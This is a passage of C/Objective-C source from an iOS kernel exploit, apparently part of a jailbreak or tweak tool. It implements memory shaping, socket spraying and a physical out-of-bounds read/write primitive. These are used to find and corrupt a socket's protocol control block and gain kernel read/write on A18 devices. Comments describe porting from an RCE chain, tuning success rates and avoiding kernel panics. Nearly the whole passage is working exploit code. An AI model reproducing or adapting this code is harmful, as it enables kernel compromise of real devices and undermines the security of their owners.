                     off_inpcb_inp_depend6_inp6_icmp6filt));
                krw_restore_snapshot_note(icmp6Filter, controlOrigCksum,
                                          rwFilterOrig, rwCksumOrig);
                printf("[KRW] restore snapshot captured via control read "
                       "(rw PCB not in OOB window)\n");
            }
            int rwSock = fileport_makefd(active_socket_port((uint64_t)controlSocketIdx + 1));
            if (rwSock < 0) {
                printf("[-] fileport_makefd failed for rw_socket idx: %u\n", controlSocketIdx + 1);
                physical_oob_restore_candidate(memoryObject, seekingOffset,
                                               originalPage);
                active_socket_leak_port((uint64_t)controlSocketIdx);
                close(sock);
                return -1;
            }
            controlSocket = sock;
            rwSocket = rwSock;
            return KERN_SUCCESS;
        } else {
            printf("[-] Failed to corrupt control_socket at idx: %u\n",
                   controlSocketIdx);
            physical_oob_restore_candidate(memoryObject, seekingOffset,
                                           originalPage);
            active_socket_leak_port((uint64_t)controlSocketIdx);
            close(sock);
        }
    }
    return -1;
}

// Selects pe_v1's SHAPING geometry (3 GB touch loop + 4 MB search window), not
// "this is A18 hardware" -- gIsA18Above is the hardware test. The two were the
// same thing until the experiment below.

// A18 3 GB memory shaping. Off by default (measured 0/7 vs 4/7 standard); the
// kSettingsA18MemoryShaping toggle sets it. When on, uses the shaping search
// geometry (4 MB window) and pins 3 GB of physical memory before the scan.
bool isA18Device = false;
bool pe_v1(void) {
    peV1OwnSuccessorCount = 0;
    int readWinStart = successReadCount;
    g_oob_race_max_tries = 500;   // scan: keep exposure low, preserves ~57%

    // A/B instrumentation (outside the race loop; no effect on the hot path).
#if PE_V1_AB_FORCE_COLLISION
    randomMarkerOwned = randomMarker;                 // reproduce upstream collision
    const char *abMode = "BASELINE(collision)";
#else
    const char *abMode = "FIXED(owned-marker)";
#endif
    uint64_t scanT0 = clock_gettime_nsec_np(CLOCK_MONOTONIC_RAW);
    log_user("[KRW] pe_v1 own-page A/B mode: %s\n", abMode);
    uint64_t totalSearchMappingPagesNum = isA18Device ? (0x10 * 0x10) : (0x1000 * 0x10);
    uint64_t searchMappingSize = isA18Device ? (0x10 * PAGE_SIZE) : (0x2000 * PAGE_SIZE);
    uint64_t totalSearchMappingSize = totalSearchMappingPagesNum * PAGE_SIZE;
    uint64_t searchMappingNum = totalSearchMappingSize / searchMappingSize;

    printf("[i] totalSearchMappingPagesNum: %#llx\n",
           totalSearchMappingPagesNum);
    printf("[i] searchMappingSize: %#llx\n", searchMappingSize);
    printf("[i] totalSearchMappingSize: %#llx\n", totalSearchMappingSize);
    printf("[i] searchMappingNum: %#llx\n", searchMappingNum);

    void *readBuffer = calloc(1, OOB_SIZE);
    void *writeBuffer = calloc(1, OOB_SIZE);
    if (!readBuffer || !writeBuffer) {
        printf("[-] failed to allocate OOB buffers\n");
        log_user("[WARN] Not enough memory to stage the exploit.\n");
        free(readBuffer);
        free(writeBuffer);
        return false;
    }
    if (!initialize_physical_read_write(OOB_PAGES_NUM * PAGE_SIZE)) {
        free(readBuffer);
        free(writeBuffer);
        return false;
    }
    mach_vm_address_t wiredMapping = 0;
    // Shaping size. Bigger means more of physical memory is ours, so the page
    // physically after a search mapping is more often ours and valid -- the only
    // remaining lever on the "fault in kernel physical aperture" panic rate. But
    // shaping only helps while its pages stay RESIDENT: a page jetsam reclaims
    // shapes nothing, and over-pinning just gets the app killed. So the useful
    // size is however much this process can hold resident before jetsam.
    //
    // That headroom is a runtime quantity -- it varies with the device's RAM,
    // the iOS build, and current system pressure. The old fixed 3072 MB was
    // tuned to one device's ~3.10 GiB limit (JetsamEvent-2026-08-30-145526
    // killed it at 216064 pages), so it over-pins a busy device (jetsam) and
    // under-pins a roomy one (more panics). Size to os_proc_available_memory()
    // instead, pinning A18_SHAPE_FRACTION_PCT of it and keeping the rest as
    // margin for the socket spray and jetsam hysteresis.
    mach_vm_size_t wiredMappingSize = 0;
    kern_return_t kr = KERN_SUCCESS;
    const mach_vm_size_t kShapeFloor = 1024ULL << 20;   // below this, do not bother walking further
    if (isA18Device) {
        if (gA18ShapeMode == 1) {
            // Dynamic: pin a fraction of the live jetsam headroom.
            uint64_t availBytes = os_proc_available_memory();   // 0 if unavailable
            wiredMappingSize = availBytes
                ? (mach_vm_size_t)(availBytes / 100 * A18_SHAPE_FRACTION_PCT)
                : (3072ULL << 20);                              // fallback if API unavailable
            const mach_vm_size_t kShapeCeil = 8192ULL << 20;    // sanity guard
            if (wiredMappingSize > kShapeCeil) wiredMappingSize = kShapeCeil;
            log_user("[KRW] A18 shaping: dynamic, %llu MB headroom -> target %llu MB (%d%%)\n",
                     availBytes >> 20, (uint64_t)(wiredMappingSize >> 20),
                     A18_SHAPE_FRACTION_PCT);
        } else {
            // Fixed 3 GB -- the 1.5.5 size.
            wiredMappingSize = 3072ULL << 20;
            log_user("[KRW] A18 shaping: fixed 3 GB\n");
        }

        kr = mach_vm_allocate(mach_task_self(), &wiredMapping, wiredMappingSize, VM_FLAGS_ANYWHERE);
        // Halve down on allocation failure (address-space pressure, or a prior
        // run's mapping not yet reclaimed) to a floor -- any staging beats none.
        // The return value used to be ignored; when it fails wiredMapping stays
        // 0 and the touch loop below then dereferences NULL and takes the app
        // down (observed in chain-20260829-1426*.log).
        while ((kr != KERN_SUCCESS || wiredMapping == 0) && wiredMappingSize > kShapeFloor) {
            wiredMappingSize /= 2;
            wiredMapping = 0;
            printf("[-] pe_v1: shaping alloc failed (%s); trying %llu MB\n",
                   mach_error_string(kr), (uint64_t)(wiredMappingSize >> 20));
            kr = mach_vm_allocate(mach_task_self(), &wiredMapping, wiredMappingSize, VM_FLAGS_ANYWHERE);
        }
        if (kr != KERN_SUCCESS || wiredMapping == 0) {
            printf("[-] pe_v1: could not allocate any shaping mapping: %s (%d)\n",
                   mach_error_string(kr), kr);
            log_user("[WARN] Not enough free memory to stage the A18 exploit. "
                     "Wait a few seconds or reboot, then try again.\n");
            free(readBuffer);
            free(writeBuffer);
            return false;
        }
        log_user("[KRW] A18 shaping mapping: %llu MB at %#llx\n",
                 (uint64_t)(wiredMappingSize >> 20), wiredMapping);
    }
    NSMutableArray *targetInpGencntList = [NSMutableArray new];

    // Bound the A18 retry loop.
    //
    // Each pass is roughly 240 OOB reads against physical pages that may be
    // SPTM carve-outs, and this was `while (true)` with no exit but success --
    // so an unlucky A18 run did not fail, it kept rolling until it panicked the
    // device. Deaths have been observed on passes 1, 2 and 3, which is also why
    // the "panics happen on the first pass" note in CYANIDE_STABILITY_NOTES.md
    // is wrong: it was written from the only log that existed at the time.
    //
    // The cap is deliberately generous. It does not improve the odds -- most of
    // the risk is in pass 1, which cannot be skipped, and reads per pass trade
    // off one-for-one against the chance of finding the PCB. What it buys is a
    // bounded failure the caller can report (it already handles a false return)
    // instead of a reboot, and a pass number in the log. Everything we know
    // about the pass count so far had to be inferred by counting repeated
    // socketPortsCount lines, which is how the note got it wrong.
    //
    // Non-A18 devices keep the old unbounded behaviour: they find the PCB on
    // pass 1 every time we have logged, so a cap there would be untested code
    // guarding a case that does not arise.
    // Keyed on the hardware rather than the geometry: an A18 running the
    // ordinary geometry still needs a bound, or a run that never finds the PCB
    // grinds until it panics -- which is the whole point of the cap.
    const unsigned maxPasses = (gIsA18Above && gA18BoundedSearch) ? 4 : 0;   // 0 == legacy unbounded (explicit opt-out)
    unsigned pass = 0;
    bool acquired = false;

    while (true) {
        pass++;
        const uint64_t passReadStart = (uint64_t)successReadCount;
        const uint64_t passOwnStart = peV1OwnSuccessorCount;
        bool budgetAbort = false;
        if (gIsA18Above) {
            if (maxPasses)
                log_user("[KRW] A18 search pass %u/%u\n", pass, maxPasses);
            else
                log_user("[KRW] A18 search pass %u (unbounded)\n", pass);
        }
        if (isA18Device && wiredMapping) {
            // NB: IOSurfaceCreate cannot back a mapping this large, so this
            // call always fails and the region is never actually wired. The
            // shaping that matters is the touch loop below, which faults the
            // whole 3 GB in. Left in place because it is harmless and matches
            // upstream; the failure line in the log is expected, not a fault.
            surface_mlock(wiredMapping, wiredMappingSize);
            for (uint64_t s = 0; s < (wiredMappingSize / PAGE_SIZE); s++) {
                *(uint64_t *)(wiredMapping + s * PAGE_SIZE) = 0;
            }
        }
        socketPorts = [NSMutableArray new];
        socketPcbIds = [NSMutableArray new];
        unsigned socketPortsCount = 0;
        // Spray target. The leeway below is NOT about the fd limit (spray_socket
        // closes the fd; the socket is held by a Mach port) -- it is about not
        // draining the system socket/mbuf pool. Overshooting to the real ceiling
        // (~27.5k on iPhone17,2) makes socket() start failing and leaves the
        // whole system under mbuf pressure, which then slows EVERY RemoteCall
        // round-trip 4x during tweak application. Stop short, with headroom.
#define OPEN_MAX 10240
        int maxfiles = OPEN_MAX * 3;
        int leeway = 4096 * 2;
        const unsigned sprayTotal = (unsigned)(maxfiles - leeway);
        const unsigned sprayPerChunk = (gA18Interleave && searchMappingNum > 0)
                                       ? sprayTotal / (unsigned)searchMappingNum
                                       : 0;

        // Approach A: interleave mapping allocation with the socket spray so the
        // inpcb zone grows into free-list territory adjacent to each mapping
        // chunk just touched -- manufacturing neighbor adjacency instead of
        // lotterying for it. The inpcb pages land against the TAIL (last-touched,
        // high-offset) pages of each chunk, which is why the scan below runs
        // high-offset -> low: it reaches the productive boundary first, while
        // highestSuccessIdx (and thus per-read hole exposure) is still low.
        // Metric: successReadCount median should fall from ~22, and finds should
        // cluster near the tail offsets. If finds stay scattered with median ~22,
        // the two allocators do not share free-list territory and A is dead.
        NSMutableArray<NSNumber *> *searchMappings = [NSMutableArray new];
        bool spraySaturated = false;
        for (uint64_t s = 0; s < searchMappingNum; s++) {
            mach_vm_address_t searchMappingAddress = 0;
            kr = mach_vm_allocate(mach_task_self(), &searchMappingAddress, searchMappingSize, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR);
            if (kr != KERN_SUCCESS) {
                printf("[-] mach_vm_allocate failed!!!\n");
                FAILURE(0);
            }
            for (int k = 0; k < searchMappingSize; k += PAGE_SIZE) {
                *(uint64_t *)(searchMappingAddress + k) = randomMarkerOwned;
            }
            [searchMappings addObject:@(searchMappingAddress)];
            for (unsigned b = 0; !spraySaturated && b < sprayPerChunk &&
                 socketPortsCount < sprayTotal; b++) {
                mach_port_t port = spray_socket(socketPorts, socketPcbIds);
                if (port == -1) {
                    printf("[-] Failed to spray sockets: %u\n", socketPortsCount);
                    spraySaturated = true;
                    break;
                }
                socketPortsCount++;
            }
        }
        while (!spraySaturated && socketPortsCount < sprayTotal) {
            mach_port_t port = spray_socket(socketPorts, socketPcbIds);
            if (port == -1) { printf("[-] Failed to spray sockets: %u\n", socketPortsCount); break; }
            socketPortsCount++;
        }
        printf("[i] socketPortsCount: %u\n", socketPortsCount);
        bool success = false;
        bool fatalAbort = false;
        if (socketPortsCount < 2) {
            printf("[-] pe_v1: socket spray produced only %u sockets; retrying cleanly\n",
                   socketPortsCount);
        } else {
            uint64_t startPcbId = socketPcbIds.firstObject.unsignedLongLongValue;
            uint64_t endPcbId = socketPcbIds.lastObject.unsignedLongLongValue;
            printf("[i] startPcbId: %llu\n", startPcbId);
            printf("[i] endPcbId: %llu\n", endPcbId);

            for (uint64_t s = 0; s < searchMappingNum; s++) {
                mach_vm_address_t searchMappingAddress =
                    searchMappings[s].unsignedLongLongValue;
                printf("[i] looking in search mapping: %llu\n", s);
                mach_port_t memoryObject = 0;
                mach_vm_size_t memoryObjectSize = searchMappingSize;
                kr = mach_make_memory_entry_64(mach_task_self(), &memoryObjectSize, searchMappingAddress, VM_PROT_DEFAULT, &memoryObject, 0);
                if (kr != KERN_SUCCESS) {
                    printf("[-] mach_make_memory_entry_64 failed!!!");
                    FAILURE(0);
                }
                surface_mlock(searchMappingAddress, searchMappingSize);
                if (gA18Interleave) {
                    // Approach A: reverse scan -- pins the find to the chunk tail.
                    int64_t maxOffset =
                        (int64_t)(((searchMappingSize - pcSize) / PAGE_SIZE) * PAGE_SIZE);
                    for (int64_t seekingOffset = maxOffset; seekingOffset >= 0;
                         seekingOffset -= (int64_t)PAGE_SIZE) {
                        kr = physical_oob_read_mo(memoryObject,
                                                  (mach_vm_offset_t)seekingOffset, OOB_SIZE,
                                                  OOB_OFFSET, readBuffer);
                        if (kr == KERN_SUCCESS) {
                            if (*(uint64_t *)readBuffer == randomMarkerOwned) {
                                peV1OwnSuccessorCount++;   // own page: safe, no PCB
                            } else {
                                int frc = find_and_corrupt_socket(memoryObject,
                                                        (mach_vm_offset_t)seekingOffset,
                                                        readBuffer, writeBuffer,
                                                        targetInpGencntList,
                                                        false);
                                if (frc == KERN_SUCCESS) {
                                    printf("[i] pe_v1: PCB found mapping=%llu offset=%#llx/%#llx\n",
                                           s, (unsigned long long)seekingOffset,
                                           (unsigned long long)searchMappingSize);
                                    success = true;
                                    break;
                                }
                                if (frc == PHYSICAL_OOB_CORRUPT_FATAL) {
                                    fatalAbort = true;
                                    break;
                                }
                            }
                            if (gIsA18Above) {
                                uint64_t passReads = (uint64_t)successReadCount - passReadStart;
                                uint64_t passForeign = ((uint64_t)successReadCount - peV1OwnSuccessorCount) -
                                                       (passReadStart - passOwnStart);
                                if (passReads >= A18_PASS_WIN_BUDGET ||
                                    passForeign >= PE_V1_FOREIGN_CAP) {
                                    log_user("[KRW] pe_v1: pass %u stopped after %llu read(s) "
                                             "(%llu foreign) — budget/cap hit; retrying cleanly\n",
                                             pass, (unsigned long long)passReads,
                                             (unsigned long long)passForeign);
                                    budgetAbort = true;
                                    break;
                                }
                            }
                        }
                    }
                } else {
                    // Baseline: forward scan, byte-identical to the proven 4/7 path.
                    mach_vm_offset_t seekingOffset = 0;
                    while (seekingOffset + pcSize <= searchMappingSize) {
                        kr = physical_oob_read_mo(memoryObject, seekingOffset, OOB_SIZE,
                                                  OOB_OFFSET, readBuffer);
                        if (kr == KERN_SUCCESS) {
                            if (*(uint64_t *)readBuffer == randomMarkerOwned) {
                                peV1OwnSuccessorCount++;   // own page: safe, no PCB
                            } else {
                                int frc = find_and_corrupt_socket(memoryObject, seekingOffset,
                                                        readBuffer, writeBuffer,
                                                        targetInpGencntList,
                                                        false);
                                if (frc == KERN_SUCCESS) {
                                    success = true;
                                    break;
                                }
                                if (frc == PHYSICAL_OOB_CORRUPT_FATAL) {
                                    fatalAbort = true;
                                    break;
                                }
                            }
                            if (gIsA18Above) {
                                uint64_t passReads = (uint64_t)successReadCount - passReadStart;
                                uint64_t passForeign = ((uint64_t)successReadCount - peV1OwnSuccessorCount) -
                                                       (passReadStart - passOwnStart);
                                if (passReads >= A18_PASS_WIN_BUDGET ||
                                    passForeign >= PE_V1_FOREIGN_CAP) {
                                    log_user("[KRW] pe_v1: pass %u stopped after %llu read(s) "
                                             "(%llu foreign) — budget/cap hit; retrying cleanly\n",
                                             pass, (unsigned long long)passReads,
                                             (unsigned long long)passForeign);
                                    budgetAbort = true;
                                    break;
                                }
                            }
                        }
                        seekingOffset += PAGE_SIZE;
                    }
                }
                kr = mach_port_deallocate(mach_task_self(), memoryObject);
                if (kr != KERN_SUCCESS) {
                    printf("[-] mach_port_deallocate failed!!!\n");
                    FAILURE(0);
                }
                if (success == true || fatalAbort || budgetAbort) {
                    break;
                }
            }
        }
        sockets_release(socketPorts, socketPcbIds);
        for (uint64_t s = 0; s < searchMappingNum; s++) {
            mach_vm_address_t searchMappingAddress =
                searchMappings.lastObject.unsignedLongLongValue;
            [searchMappings removeLastObject];
            kr = mach_vm_deallocate(mach_task_self(), searchMappingAddress,
                                    searchMappingSize);
        }
        if (isA18Device) {
            surface_munlock(wiredMapping, wiredMappingSize);
        }
        if (success == true) {
            acquired = true;
            break;
        }
        if (budgetAbort) {
            log_user("[KRW] pe_v1: stopping this run at the A18 read budget/cap; "
                     "the next attempt starts a fresh layout.\n");
            break;
        }
        if (fatalAbort) {
            log_user("[WARN] pe_v1 aborting: physical OOB inconsistency limit "
                     "reached — not re-rolling an untrustworthy primitive.\n");
            break;
        }
        if (maxPasses && pass >= maxPasses) {
            log_user("[KRW] A18 gave up after %u pass(es) without acquiring KRW — "
                     "retry rather than continuing to roll.\n", pass);
            break;
        }
    }

    surface_munlock_all();
    if (isA18Device && wiredMapping) {
        mach_vm_deallocate(mach_task_self(), wiredMapping, wiredMappingSize);
    }
    free(readBuffer);
    free(writeBuffer);
    socketPorts = nil;
    socketPcbIds = nil;
    // Delayed PTE corruption detonates on the next write(2), including the
    // result log below. Check a fresh user mapping first; if it fails, do not
    // claim the acquisition and do not write the result row.
    //
    // This is a detector, not a prevention: the failure line itself is a
    // write(2), so a corrupted PTE can still detonate while reporting the
    // failure (stdout may be the log file). What the check buys is refusing
    // the result row and all tweak work on an unverified primitive.
    bool integrityOK = kexploit_post_hunt_check("pe_v1");
    if (!integrityOK) {
        printf("[-] pe_v1: post-hunt mapping integrity check FAILED — not "
               "logging a result or starting tweak work\n");
        acquired = false;
    }
    printf("[i] pe_v1: own-page successors=%llu foreign reads (true hole exposure)=%d\n",
           (unsigned long long)peV1OwnSuccessorCount,
           (successReadCount - readWinStart) - (int)peV1OwnSuccessorCount);
    // A/B result: one grep-friendly row per run, written to the shareable log.
    uint64_t scanMs = (clock_gettime_nsec_np(CLOCK_MONOTONIC_RAW) - scanT0) / 1000000ULL;
    int abReads = successReadCount - readWinStart;
    int abForeign = abReads - (int)peV1OwnSuccessorCount;
    if (integrityOK)
        log_user("[RESULT] pe_v1 mode=%s acquire=%d scan_ms=%llu passes=%u reads=%d own=%llu foreign=%d hi_try=%d\n",
                 abMode, acquired ? 1 : 0, (unsigned long long)scanMs, pass, abReads,
                 (unsigned long long)peV1OwnSuccessorCount, abForeign, highestSuccessIdx);
    printf("[+] pe_v1: post-acquire cleanup complete\n");
    // Was an unconditional true, which was correct only while the loop above
    // could not exit without success.
    return acquired;
}

// Spray a socket batch, then re-scan EVERY offset in the freed batch for any
// reoccupied inpcb. Returns true (and corrupts it) if one landed. All reads are
// of proven PAs, so no new aperture exposure. Called when a batch fills and once
// more on any partial batch at scan end.
static bool pe_v2_scan_batch(mach_port_t memoryObject,
                             const mach_vm_offset_t *offsets, uint64_t nOffsets,
                             void *readBuffer, void *writeBuffer,
                             uint64_t maxSocketsCount, uint64_t splitCount,
                             unsigned *socketPortsCount,
                             uint64_t *reoccupyAttempts) {
    for (int round = 0; round < PE_V2_BATCH_ROUNDS; round++) {
        for (uint64_t i = 0; i < nOffsets; i++) {
            (*reoccupyAttempts)++;
            int frc = find_and_corrupt_socket(memoryObject, offsets[i],
                                              readBuffer, writeBuffer, nil, true);
            if (frc == PHYSICAL_OOB_CORRUPT_FATAL) {
                printf("[KRW] pe_v2: run aborted by physical OOB inconsistency limit\n");
                return false;
            }
            if (frc == KERN_SUCCESS) {
                printf("[+] pe_v2: offset %#llx: Reallocated PCB page (verified, batch)!\n",
                       offsets[i]);
                return true;
            }
        }
        if (fastSocketPortsCount >= maxSocketsCount) break;   // out of ammo
        uint64_t sprayedBefore = fastSocketPortsCount;
        for (uint64_t sc = 0;
             sc < maxSocketsCount / splitCount && fastSocketPortsCount < maxSocketsCount;
             sc++) {
            if (spray_socket_fast() == (mach_port_t)-1) break;
        }
        if (socketPortsCount) *socketPortsCount = (unsigned)fastSocketPortsCount;
        if (fastSocketPortsCount == sprayedBefore) break;     // spray made no progress
    }
    return false;
}

bool pe_v2(void) {
    g_oob_race_max_tries = 4000;  // single-target confirm can need >500 to win
    // A18-specific exploit path: "wired page marker" technique.
    // Allocates 2GB of individually wired pages tagged with markers,
    // then scans physical memory via OOB read. When a tagged page is found,
    // deallocates it and sprays sockets into the freed physical page.
    // This targeted approach replaces pe_v1's brute-force mass spray.
    // Ported from DarkSword-RCE pe_main.js pe_v2() (lines 1151-1278).

    void *readBuffer = calloc(1, OOB_SIZE);
    void *writeBuffer = calloc(1, OOB_SIZE);
    if (!readBuffer || !writeBuffer) {
        printf("[-] failed to allocate OOB buffers\n");
        log_user("[WARN] Not enough memory to stage the exploit.\n");
        free(readBuffer);
        free(writeBuffer);
        return false;
    }
    if (!initialize_physical_read_write(OOB_PAGES_NUM * PAGE_SIZE)) {
        free(readBuffer);
        free(writeBuffer);
        return false;
    }

    mach_vm_size_t wiredEntrySize = PAGE_SIZE;
    mach_vm_size_t wiredTotalSize = 1024ULL * 1024ULL * 1024ULL * 2ULL; // 2GB
    uint64_t nWiredEntries = wiredTotalSize / wiredEntrySize;

    printf("[i] pe_v2: Allocating %llu wired pages (2GB)...\n", nWiredEntries);

    mach_vm_address_t *wiredAddrs = calloc(nWiredEntries, sizeof(*wiredAddrs));
    if (!wiredAddrs) {
        printf("[-] pe_v2: failed to allocate wired address tracker\n");
        log_user("[WARN] Not enough memory to stage the A18 exploit.\n");
        free(readBuffer);
        free(writeBuffer);
        return false;
    }
    uint64_t wiredEntriesCount = nWiredEntries;
    // Instrumentation to separate pe_v2's two failure modes on device:
    //   hunt-miss     -- no staged page ever turned up in the scan (hunt_wins==0)
    //   reoccupy-miss -- staged pages were found and freed, but no PCB landed on
    //                    the freed page (hunt_wins>0, freed>0, no commit)
    // Reported as a [RESULT] line at exit so a chain log says which to fix.
    // Declared before the first goto pe_v2_cleanup so every exit path reads
    // initialized counters -- and exploitSuccess with them: an early
    // staging-floor goto jumps over a later `= false` initializer, leaving
    // the cleanup's outcome/return read indeterminate.
    uint64_t v2Mappings = 0, v2HuntWins = 0, v2Freed = 0, v2ReoccupyAttempts = 0;
    bool exploitSuccess = false;

    kern_return_t kr = KERN_SUCCESS;
    mach_vm_address_t wiredAddr = 0;

    uint64_t wiredMlockFailures = 0;
    uint64_t wiredMlockSuccesses = 0;
    uint64_t consecutiveMlockFailures = 0;
    bool mlockCeilingReached = false;
    uint64_t stagedWiredEntries = 0;
    for (uint64_t i = 0; i < nWiredEntries; i++) {
        if (i == 0) {
            kr = mach_vm_allocate(mach_task_self(), &wiredAddr, wiredEntrySize, VM_FLAGS_ANYWHERE);
            if (kr != KERN_SUCCESS) {
                printf("[-] pe_v2: initial mach_vm_allocate failed\n");
                break;
            }
        } else {
            // Allocate contiguously after the last page. Bounded: this used to
            // be `while (kr != KERN_SUCCESS)` with no cap, so a region that
            // never becomes allocatable hung the app with no log and no
            // timeout — one of the ways this path "just froze".
            mach_vm_address_t nextAddr = wiredAddrs[i - 1] + wiredEntrySize;
            kr = KERN_FAILURE;
            for (unsigned probe = 0; probe < PE_V2_MAX_FIXED_ALLOC_PROBES; probe++) {
                wiredAddr = nextAddr;
                kr = mach_vm_allocate(mach_task_self(), &wiredAddr, wiredEntrySize, VM_FLAGS_FIXED);
                nextAddr += wiredEntrySize;
                if (kr == KERN_SUCCESS) break;
            }
            if (kr != KERN_SUCCESS) {
                printf("[-] pe_v2: no allocatable page within %u probes after %#llx; "
                       "stopping wiring at %llu/%llu pages\n",
                       (unsigned)PE_V2_MAX_FIXED_ALLOC_PROBES, wiredAddrs[i - 1], i, nWiredEntries);
                break;
            }
        }
        wiredAddrs[i] = wiredAddr;
        if (!mlockCeilingReached) {
            if (surface_mlock(wiredAddr, wiredEntrySize)) {
                wiredMlockSuccesses++;
                consecutiveMlockFailures = 0;
            } else {
                wiredMlockFailures++;
                if (++consecutiveMlockFailures >= PE_V2_MAX_CONSECUTIVE_MLOCK_FAILURES) {
                    // The per-process IOSurface ceiling is hit. Every further
                    // call is a wasted syscall — and there were ~115,000 of
                    // them — so stop asking and keep staging pages untouched.
                    mlockCeilingReached = true;
                    printf("[i] pe_v2: IOSurface ceiling reached after %llu wired pages; "
                           "skipping further mlock attempts\n", wiredMlockSuccesses);
                }
            }
        }
        // Tag each page: marker at +0x0, own address at +0x8
        *(uint64_t *)wiredAddr = wiredPageMarker;
        *(uint64_t *)(wiredAddr + 0x8) = wiredAddr;
        stagedWiredEntries = i + 1;
    }
    wiredEntriesCount = stagedWiredEntries;
    printf("[+] pe_v2: Allocated %llu/%llu pages, %llu actually wired (%llu mlock failures)\n",
           stagedWiredEntries, nWiredEntries, wiredMlockSuccesses, wiredMlockFailures);

    // NOTE: mlock failures are EXPECTED and are not a reason to abort.
    // IOSurfaceCreate caps out at 16384 surfaces per process, so on a 2 GB /
    // 16 KB-page staging run roughly 87% of these calls have always failed —
    // silently, before the counters below existed. The technique demonstrably
    // works that way, so the count is reported and nothing more. An earlier
    // version of this code refused to race when the failure ratio was high and
    // simply broke the exploit outright.
    // An absolute floor, not a proportion: the IOSurface ceiling means most of
    // these calls always fail, and the technique works that way.
    if (stagedWiredEntries == 0 || wiredMlockSuccesses < PE_V2_MIN_WIRED_PAGES) {
        printf("[-] pe_v2: only %llu pages wired (floor %u); aborting\n",
               wiredMlockSuccesses, (unsigned)PE_V2_MIN_WIRED_PAGES);
        log_user("[WARN] A18 staging wired only %llu pages. Reboot and try again.\n",
                 wiredMlockSuccesses);
        goto pe_v2_cleanup;
    }

    fastSocketMode = true;
    fastTargetInpGencntCount = 0;
    memset(fastTargetInpGencntList, 0, sizeof(fastTargetInpGencntList));

    uint64_t mappingRecycleCount = 0;

    while (true) {
        v2Mappings++;
        mach_vm_size_t searchMappingSize = 0x800ULL * PAGE_SIZE;
        mach_vm_address_t searchMappingAddress = 0;
        kr = mach_vm_allocate(mach_task_self(), &searchMappingAddress, searchMappingSize, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR);
        if (kr != KERN_SUCCESS) {
            printf("[-] pe_v2: mach_vm_allocate search mapping failed\n");
            break;
        }
        for (uint64_t k = 0; k < searchMappingSize; k += PAGE_SIZE) {
            *(uint64_t *)(searchMappingAddress + k) = randomMarker;
        }
        if (!ensure_search_mapping_wired(searchMappingAddress, searchMappingSize)) {
            log_user("[WARN] Could not wire the A18 search mapping; stopping before the race "
                     "(racing unwired is what faults the kernel physical aperture).\n");
            mach_vm_deallocate(mach_task_self(), searchMappingAddress, searchMappingSize);
            break;
        }

        mach_port_t memoryObject = 0;
        mach_vm_size_t memoryObjectSize = searchMappingSize;
        kr = mach_make_memory_entry_64(mach_task_self(), &memoryObjectSize, searchMappingAddress, VM_PROT_DEFAULT, &memoryObject, 0);
        if (kr != KERN_SUCCESS) {
            printf("[-] pe_v2: mach_make_memory_entry_64 failed\n");
            surface_munlock(searchMappingAddress, searchMappingSize);
            mach_vm_deallocate(mach_task_self(), searchMappingAddress, searchMappingSize);
            break;
        }

        sockets_release_fast();
        unsigned socketPortsCount = 0;
        uint64_t maxSocketsCount = 0x5800;
        uint64_t splitCount = 8;
        mach_vm_address_t seenWiredPages[4096];
        uint64_t seenWiredPageCount = 0;

        bool success = false;
        bool socketSprayStarved = false;
        bool recycleMapping = false;
        mach_vm_offset_t seekingOffset = 0;
        uint64_t wiredPageLogCount = 0;
        uint64_t freedWiredPagesThisMapping = 0;
        mach_vm_offset_t batchOffsets[PE_V2_FREE_BATCH];
        uint64_t batchCount = 0;
        int huntWinStart = successReadCount;

        while (seekingOffset + pcSize <= searchMappingSize) {
            // Round 21: stop the scan the moment the primitive is untrusted,
            // before another OOB read touches a physical neighbour.
            if (physical_oob_run_aborted()) {
                socketSprayStarved = true;
                break;
            }
            kr = physical_oob_read_mo(memoryObject, seekingOffset, OOB_SIZE, OOB_OFFSET, readBuffer);
            if (kr != KERN_SUCCESS) {
                seekingOffset += PAGE_SIZE;
                continue;
            }

            // Budget the marker hunt: before the first staged page turns up in
            // this mapping, every win touches a random neighbour and rolls
            // against an ExclaveKit hole. Past the budget, staging is not
            // landing — abort cleanly. See PE_V2_HUNT_WIN_BUDGET.
            if (seenWiredPageCount == 0 &&
                successReadCount - huntWinStart >= PE_V2_HUNT_WIN_BUDGET) {
                printf("[-] pe_v2: %d successful reads without finding a staged "
                       "page — staging is not landing; aborting run cleanly\n",
                       PE_V2_HUNT_WIN_BUDGET);
                log_user("[KRW] A18 staging never turned up in the scan after %d "
                         "reads — aborting cleanly instead of grinding into the "
                         "aperture carve-outs. Retry, or switch the A18 exploit "
                         "path to pe_v1.\n", PE_V2_HUNT_WIN_BUDGET);
                socketSprayStarved = true;
                break;
            }

            uint64_t firstQword = *(uint64_t *)readBuffer;

            if (firstQword == wiredPageMarker) {
                // Found a wired page! Read back the stored virtual address.
                uint64_t wiredPage = *(uint64_t *)((uint8_t *)readBuffer + 0x8);
                wiredPageLogCount++;
                if (wiredPageLogCount <= 4 || (wiredPageLogCount % 16) == 0) {
                    printf("[i] pe_v2: offset %#llx: Found wired page %#llx (seen=%llu)\n",
                           seekingOffset, wiredPage, wiredPageLogCount);
                }

                bool dup = false;
                for (uint64_t w = 0; w < seenWiredPageCount; w++) {
                    if (seenWiredPages[w] == wiredPage) {
                        dup = true;
                        break;
                    }
                }
                if (dup) {
                    printf("[-] pe_v2: Found old/duplicate wired page, skipping\n");
                    seekingOffset += PAGE_SIZE;
                    continue;
                }
                if (seenWiredPageCount < sizeof(seenWiredPages) / sizeof(seenWiredPages[0]))
                    seenWiredPages[seenWiredPageCount++] = wiredPage;
                v2HuntWins++;

                if (freedWiredPagesThisMapping >= PE_V2_MAX_FREED_WIRED_PER_MAPPING) {
                    printf("[-] pe_v2: freed %llu wired pages without a hit; stopping pass for safety\n",
                           freedWiredPagesThisMapping);
                    socketSprayStarved = true;
                    break;
                }

                if (socketPortsCount == 0 && fastSocketPortsCount == 0 &&
                    !preflight_socket_spray_fast()) {
                    printf("[-] pe_v2: socket spray unavailable before freeing wired page; stopping A18 pass\n");
                    socketSprayStarved = true;
                    break;
                }
                if (fastSocketPortsCount >= maxSocketsCount) {
                    printf("[+] pe_v2: socket limit reached before freeing another wired page; releasing and stopping pass\n");
                    sockets_release_fast();
                    socketPortsCount = 0;
                    socketSprayStarved = true;
                    break;
                }

                bool tracked = false;
                uint64_t trackedIdx = 0;
                for (uint64_t j = 0; j < wiredEntriesCount; j++) {
                    if (wiredAddrs[j] == wiredPage) {
                        trackedIdx = j;
                        tracked = true;
                        break;
